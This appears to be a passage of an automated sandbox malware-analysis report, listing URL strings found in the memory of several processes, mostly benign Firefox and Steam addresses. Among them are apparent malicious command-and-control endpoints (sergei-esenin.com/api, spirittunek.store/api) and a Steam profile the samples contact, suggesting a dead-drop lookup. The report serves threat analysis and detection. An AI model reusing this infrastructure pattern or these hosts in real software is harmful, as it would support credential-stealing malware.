Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.2845609380.0000014D56A48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.2845609380.0000014D56A48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.2845609380.0000014D56A48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D548F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D548BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.2839377042.0000014D56772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: file.exe, 00000000.00000003.2255280486.0000000000B78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198294386.0000000000B72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: file.exe, 00000000.00000003.2184185752.0000000000B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/&
Source: file.exe, 00000000.00000003.2226397549.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226367127.0000000000B73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/4
Source: file.exe, file.exe, 00000000.00000003.2226397549.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2337549921.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197338181.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2255166252.0000000000B90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2241243430.0000000000B78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184185752.0000000000B2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226367127.0000000000B73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172112855.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.2255166252.0000000000B90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api2d
Source: file.exe, 00000000.00000003.2255166252.0000000000B90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiHdz
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://snippets.mozilla.com/show/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/api
Source: firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D552F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55615000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D552F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000002.2861316139.0000014D5D3E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55A45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D557C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55A45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/%
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/H
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/icro
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900.
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900s
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001068000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.2172112855.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001076000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656565976.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011D1000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001076000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011D1000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba2
Source: dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D548F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D548BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
